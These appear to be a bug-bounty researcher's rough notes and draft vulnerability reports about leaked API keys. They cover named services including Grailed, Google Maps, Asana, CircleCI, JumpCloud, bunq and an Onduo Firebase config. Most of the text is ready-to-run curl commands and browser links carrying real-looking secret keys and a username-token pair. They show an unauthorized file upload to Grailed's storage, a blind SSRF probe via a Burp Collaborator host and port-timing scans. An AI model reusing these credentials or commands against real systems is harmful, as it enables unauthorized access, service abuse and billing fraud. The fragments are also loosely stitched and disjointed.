APIExploits
APIExploits
IMP
https://github.com/streaak/keyhacks
8819ada3791d0ee0e1d71587ff321253a5401a3a
1. curl -X GET \
https://console.jumpcloud.com/api/organizations/ \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
-H 'x-api-key: 8819ada3791d0ee0e1d71587ff321253a5401a3a'
curl https://circleci.com/api/v1.1/me?circle-
token=25b7d2f03ad0a5c9cf2a2f4740211aaf3c4d59af
Steps:
https://app.swaggerhub.com/apis-docs/Vivek-Raj/zomato-api/1.0.0#/Restaurant
%20Reviews/get_reviews
Zomato : 399720f6f904f106e162cd2bd0011a6f
Process
Exploits
Weglot.initialize({
api_key: 'wg_3fa15532f2f69c44a683790307a57b3c7'
});
curl -X POST \
'https://api.weglot.com/translate?api_key=wg_3fa15532f2f69c44a683790307a57b3c7' \
-H 'Content-Type: application/json' \
-d '{
"l_from":"en",
"l_to":"fr",
"request_url":"https://www.re-cap.com/",
"words":[
{"w":"This is a blue car", "t": 1},
{"w":"This is a black car", "t": 1}
]
}'
curl https://app.asana.com/api/1.0/users/me \
-H "Authorization: Bearer 0/ca581dda1b807b654e09b05bd8a8c70"
"filepicker_conversion_url":"https://
process.fs.grailed.com","filepicker_key":"AJdAgnqCST4iPtnUxiGtTz"
curl -X POST \
-d
url="https://upload.wikimedia.org/wikipedia/commons/thumb/4/47/PNG_transparency_dem
onstration_1.png/420px-PNG_transparency_demonstration_1.png" \
"https://process.fs.grailed.com/api/store/S3?key=AJdAgnqCST4iPtnUxiGtTz"
token : E4gg1bkY8HgPXVFuqOeQMXppxgdfJglTkYaez4tLVUnVBeRsgTpVBK9ngxGdqp7
API key exploit led to Blind SSRF, EXIF issue , Third party image upload
Hi team,
There are a lot of things that hackers can do with a developer’s cloud
credentials: spin up hundreds of servers, take down servers, “redistribute” DNS and
load balancers, and much more. Accidental public exposure of credentials such as
API keys, OAuth tokens, and app secrets is a mistake that can be made by both
inexperienced and seasoned developers, particularly when it comes to source
control. Right now there are thousands of exposed API keys on GitHub that can be
found in just minutes using GitHub code search; these can be found in seconds by
bots.
Exploit:
399720f6f904f106e162cd2bd0011a6f
Steps:
1. Search API DOCS : grailed api docs curl , filepicker api docs curl
Exploit
Upload any image
Exif Metadata not stripping
https://cdn.fs.grailed.com/vVHvaeQTTNKeJybLFdQN
curl -X POST \
-d url="https://w0xbntim85vtgvu72su9hdji49azyo.burpcollaborator.net/aditya.png"
\
"https://process.fs.grailed.com/api/store/S3?key=AJdAgnqCST4iPtnUxiGtTz"
filepicker_conversion_url":"https://process.fs.grailed.com","filepicker_key":"AJdAg
nqCST4iPtnUxiGtTz"
site:documenter.getpostman.com inurl:"walmart"
Hello Team,
Title: API config endpoint disclosed sensitive key which leads to unauthorised file
upload in grailed domain.
Description:
APIs tend to expose endpoints that handle object identifiers, creating a wide
attack surface Level Access Control issue. Object-level authorization checks should
be considered in every function that accesses a data source using an input from the
user.” - OWASP*
Since APIs enable access to objects, if authorization is broken there is a wide
attack area. Thus, authorization to API-accessible objects must be secured.
Steps.
1. Visit grailed.com/api/config
2. Search for : "key" and "url" keyword (remove quotes)
Info found:
filepicker_key":"AJdAgnqCST4iPtnUxiGtTz
https://process.fs.grailed.com
Exploit:
curl -X POST \
-d url="https://www.3cx.com/wp-content/uploads/2020/08/3-signs-been-hacked.jpg"
\
"https://process.fs.grailed.com/api/store/S3?key=AJdAgnqCST4iPtnUxiGtTz"
Using this any attacker or bad person can upload a file into your website which may
lead to impersionating profile or reputation issue.
There are multiple attacks we can perform using keys but I chose file upload and
this bug is really CRITICAL so patch it ASAP
POC attached ;
================
Hello team,
Description: An attacker can exploit the exposure of your API key by making
requests to the Google Maps API that appear to be coming from your app. A group of
malicious users could spam the API to use up your app's "courtesy" bandwidth, or to
run up your bandwidth bill if you have billing enabled for the Google Maps API. If
you (or Google) are keeping a close eye on your bandwidth usage, you could
partially defend against such an attack by revoking and replacing the maps API key
when your app's (apparent) usage of the maps API spikes.
Exploits:
API key is vulnerable for Place Details API! Here is the PoC link which can be
used directly via browser:
https://maps.googleapis.com/maps/api/place/details/json?
place_id=ChIJN1t_tDeuEmsRUsoyG83frY4&fields=name,rating,formatted_phone_number&key=
AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Nearby Search-Places API! Here is the PoC link which
can be used directly via browser:
https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=-
33.8670522,151.1957362&radius=100&types=food&name=harbour&key=AIzaSyAcK69n1PuaZfk7M
FnUiUjiwbIllj6V6JQ
API key is vulnerable for Text Search-Places API! Here is the PoC link which can
be used directly via browser:
https://maps.googleapis.com/maps/api/place/textsearch/json?
query=restaurants+in+Sydney&key=AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Places Photo API! Here is the PoC link which can be
used directly via browser:
https://maps.googleapis.com/maps/api/place/photo?
maxwidth=400&photoreference=CnRtAAAATLZNl354RwP_9UKbQ_5Psy40texXePv4oAlgP4qNEkdIrky
se7rPXYGd9D_Uj1rVsQdWT4oRz4QrYAJNpFX7rzqqMlZw2h2E2y5IKMUZ7ouD_SlcHxYq1yL4KbKUv3qtWg
TK0A6QbGh87GB3sscrHRIQiG2RrmU_jF4tENr9wGS_YxoUSSDrYjWmrNfeEHSGSc3FyhNLlBU&key=AIzaS
yAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Directions API! Here is the PoC link which can be used
directly via browser:
https://maps.googleapis.com/maps/api/directions/json?
origin=Disneyland&destination=Universal+Studios+Hollywood4&key=AIzaSyAcK69n1PuaZfk7
MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Geocode API! Here is the PoC link which can be used
directly via browser:
https://maps.googleapis.com/maps/api/geocode/json?
latlng=40,30&key=AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Distance Matrix API! Here is the PoC link which can be
used directly via browser:
https://maps.googleapis.com/maps/api/distancematrix/json?
units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-
73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-
73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-
73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-
73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-
73.6334271%7C40.598566%2C-73.7527626&key=AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Find Place From Text API! Here is the PoC link which
can be used directly via browser:
https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of
%20Contemporary%20Art
%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,openin
g_hours,geometry&key=AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Autocomplete API! Here is the PoC link which can be
used directly via browser:
https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=
%28cities%29&key=AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
API key is vulnerable for Elevation API! Here is the PoC link which can be used
directly via browser:
https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-
104.9847034&key=AIzaSyAcK69n1PuaZfk7MFnUiUjiwbIllj6V6JQ
Impact
costing companies extra money and in some cases DOS.
Identifies cost: $5 per 1000 request
POC:
========================================
Hi team,
There are a lot of things that hackers can do with a developer’s cloud
credentials: spin up hundreds of servers, take down servers, “redistribute” DNS and
load balancers, and much more. Accidental public exposure of credentials such as
API keys, OAuth tokens, and app secrets is a mistake that can be made by both
inexperienced and seasoned developers, particularly when it comes to source
control. Right now there are thousands of exposed API keys on GitHub that can be
found in just minutes using GitHub code search; these can be found in seconds by
bots.
Exploit:
===============================================
Hello team ,
Aditya here found security issue where I got some endpoints and I got api key in
response while exploiting
URL: https://public-api.sandbox.bunq.com/v1/sandbox-user
Exploit :
curl https://public-api.sandbox.bunq.com/v1/sandbox-user -X POST --header
"Content-Type: application/json" --header "Cache-Control: none" --header "User-
Agent: curl-request" --header "X-Bunq-Client-Request-Id: $(date)randomId" --header
"X-Bunq-Language: nl_NL" --header "X-Bunq-Region: nl_NL" --header "X-Bunq-
Geolocation: 0 0 0 0 000"
Response: {"Response":[{"ApiKey":
{"api_key":"sandbox_3ddd71f6415f3cb9f6d8fb30e3ad14fc6f0706aeaa7409f1e1e99474"}}]}
1. API Docs
2. Curl request
3. Exchnage URLS and keys
4. CMD or ubuntu = exploit
IMP
1. Check for API endpoint priv
2. Think out of the box
Steps to reproduce:
1. Use this in cmd: curl -v https://onduo.com --user
[email protected]:2f62f85b-0b5e-4ea0-baf8-
a57f8fb4f9a3_527e5684de2592899d0da0846645f0121f031459_lout
We can see the time delay on port change 80,8080 giving instant response but 22
port giving late reponse
Attack scenario:
A successful SSRF attack can often result in unauthorized actions or access to data
within the organization, either in the vulnerable application itself or on other
back-end systems that the application can communicate with. In some situations, the
SSRF vulnerability might allow an attacker to perform arbitrary command execution.
When we check command on 80,8080 port it gives speedy response but on port 22 it
gives late response . It means 22 closed. If hacker perform this attack like port
scan then this may leads to DOS
POC: https://drive.google.com/file/d/1jXxCH80e9EwGjHWMGC716iB1Z6l4_xsw/view?
usp=sharing
Hello team,
As I mentioned in 2nd step that I got token while crawling whole web app or else
simple method is that we can check source code on following endpoint--
https://onduollc.atlassian.net/projects
It crafted queries and gives us valid response , We can say instant response
image.png
2. On port 22
curl -v https://onduo.com:22 --user [email protected]:2f62f85b-0b5e-
4ea0-baf8-a57f8fb4f9a3_527e5684de2592899d0da0846645f0121f031459_lout
It gave me response after 1 min 45 seconds :" failed to connect on port 22"
image.png
3. On port 443
curl -v https://onduo.com:443 --user [email protected]:2f62f85b-0b5e-
4ea0-baf8-a57f8fb4f9a3_527e5684de2592899d0da0846645f0121f031459_lout
It gave me response which was instant with crafted queries
PORT443.gif
__FIREBASE_API_KEY__ = 'AIzaSyCq7ZPizDqVfo0D8y8fTfHIDqJ5Qq7FvFc';
__FIREBASE_PROJECT_ID__ = 'diabetes-management'; __FIREBASE_AUTH_DOMAIN__ =
'diabetes-management.firebaseapp.com'; __FIREBASE_DATABASE_URL__ =
'https:\/\/fanyv88.com:443\/https\/diabetes-management.firebaseio.com'; __FIREBASE_STORAGE_BUCKET__ =
'diabetes-management.appspot.com'; __FIREBASE_MESSAGING_SENDER_ID__ =
'719737211384'
Also I tried same command with port 3306 it takes a long time
Impact: The first part is , It gives instant response on open port and when I try
with closed port like 3306,22 it takes long to craft queries
So If hacker try same attacks on closed ports so the command will force a server to
craft queries because of a closed port it's not going to craft it . Performing same
attack on closed ports to craft queries will make server engage and this may leads
to DOS attack.
Changing host enroll.onduo.com with port 443 to perform SSRF was giving sensitive
information about firebase stuff
TASK:
grailed.com | key | exploit